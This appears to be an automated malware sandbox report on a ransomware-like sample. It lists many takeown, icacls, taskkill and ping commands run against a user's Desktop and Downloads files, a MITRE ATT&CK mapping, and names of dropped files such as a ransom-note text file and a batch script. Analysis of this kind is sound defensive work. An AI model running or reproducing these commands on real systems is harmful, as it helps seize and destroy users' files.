C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\DisableConvertTo.aif /grant Admin:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\ExitFind.js /grant Admin:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\FindCheckpoint.jpeg /grant Admin:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\GroupConvertTo.xlsx /grant Admin:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\HideConnect.wps /grant Admin:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\InstallApprove.xml /grant Admin:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\LimitDisable.docx /grant Admin:F3⤵
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\desktop.ini /grant Admin:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\CompressRequest.mp3 /grant Admin:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im explorer.exe3⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f "\\?\C:\Users\Admin\Desktop\Microsoft Edge.lnk"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\MoveDismount.xlt3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\OpenWatch.docx3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im notepad.exe3⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\OutUninstall.pub3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\PopEdit.mpeg3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\ReadInstall.odp3⤵
- Possible privilege escalation attempt
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\ResetDismount.lnk3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\RestartStop.docx3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\ping.exeping -n 1 -w 50 10.127.1.13⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\ResetDismount.lnk /grant Admin:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\PopEdit.mpeg /grant Admin:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\SaveUpdate.ADTS3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\OutUninstall.pub /grant Admin:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\SubmitWait.doc3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\ping.exeping -n 1 -w 50 10.127.1.23⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\SelectDismount.zip /grant Admin:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\SkipUnprotect.dwg /grant Admin:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\WriteConvertTo.mpeg3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\ApproveSwitch.ini3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\BackupPop.rmi3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\SubmitWait.doc /grant Admin:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\UnprotectAssert.ods /grant Admin:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\UpdateWatch.mpeg3 /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\ClearExit.bat3⤵
- Possible privilege escalation attempt
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\CompleteCompress.docx3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\ConvertFromWatch.wmx3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\ping.exeping -n 1 -w 50 10.127.1.33⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\WaitJoin.eps /grant Admin:F3⤵
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\WatchJoin.xml /grant Admin:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\ConvertInitialize.au33⤵
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\ConvertToDisable.dxf3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\WriteConvertTo.mpeg /grant Admin:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\ApproveSwitch.ini /grant Admin:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\ping.exeping -n 1 -w 50 10.127.1.43⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\ConvertFromWatch.wmx /grant Admin:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\desktop.ini3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\CompleteCompress.docx /grant Admin:F3⤵
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\ClearExit.bat /grant Admin:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\ConvertInitialize.au3 /grant Admin:F3⤵
- Possible privilege escalation attempt
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\ExportComplete.xlsb3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\BackupPop.rmi /grant Admin:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\ConvertToDisable.dxf /grant Admin:F3⤵
- Possible privilege escalation attempt
-
-
-
C:\Windows\system32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c C:\Windows\System32\ntorkrnl0.bat1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1System Services
2Service Execution
2Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Create or Modify System Process
4Windows Service
4Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Pre-OS Boot
1Bootkit
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Create or Modify System Process
4Windows Service
4Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1File and Directory Permissions Modification
1Impair Defenses
5Disable or Modify System Firewall
1Disable or Modify Tools
2Safe Mode Boot
1Modify Registry
5Pre-OS Boot
1Bootkit
1Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
_pkcs1_decode.pyd
_raw_aes.pyd
_raw_aesni.pyd
_raw_ctr.pyd
_BLAKE2s.pyd
_SHA1.pyd
_ghash_portable.pyd
_modexp.pyd
_cpuid_c.pyd
_strxor.pyd
VCRUNTIME140.dll
VCRUNTIME140_1.dll
_bz2.pyd
_cffi_backend.cp314-win_amd64.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
_multiprocessing.pyd
_queue.pyd
_socket.pyd
_ssl.pyd
_wmi.pyd
_zstd.pyd
base_library.zip
libcrypto-3.dll
libffi-8.dll
libssl-3.dll
pyexpat.pyd
python314.dll
select.pyd
Lorem ipsum.txt
unicodedata.pyd
__PSScriptPolicyTest_ciqng0wt.ptu.ps1
IronChain.hta
PLEASEREADTHIS.txt
svchost_killer.bat
memory/2648-142-0x000001E82A3D0000-0x000001E82A3DA000-memory.dmp
memory/2648-147-0x000001E82A670000-0x000001E82A676000-memory.dmp
memory/2648-148-0x000001E82A680000-0x000001E82A68A000-memory.dmp
memory/2648-151-0x000001E8111D0000-0x000001E811C92000-memory.dmp
memory/2648-146-0x000001E82A540000-0x000001E82A548000-memory.dmp
memory/2648-145-0x000001E82A690000-0x000001E82A6AA000-memory.dmp
memory/2648-144-0x000001E82A530000-0x000001E82A53A000-memory.dmp
memory/2648-143-0x000001E82A550000-0x000001E82A56C000-memory.dmp
memory/2648-141-0x000001E82A310000-0x000001E82A3C3000-memory.dmp
memory/2648-140-0x000001E82A2F0000-0x000001E82A30C000-memory.dmp
memory/2648-127-0x000001E82A030000-0x000001E82A052000-memory.dmp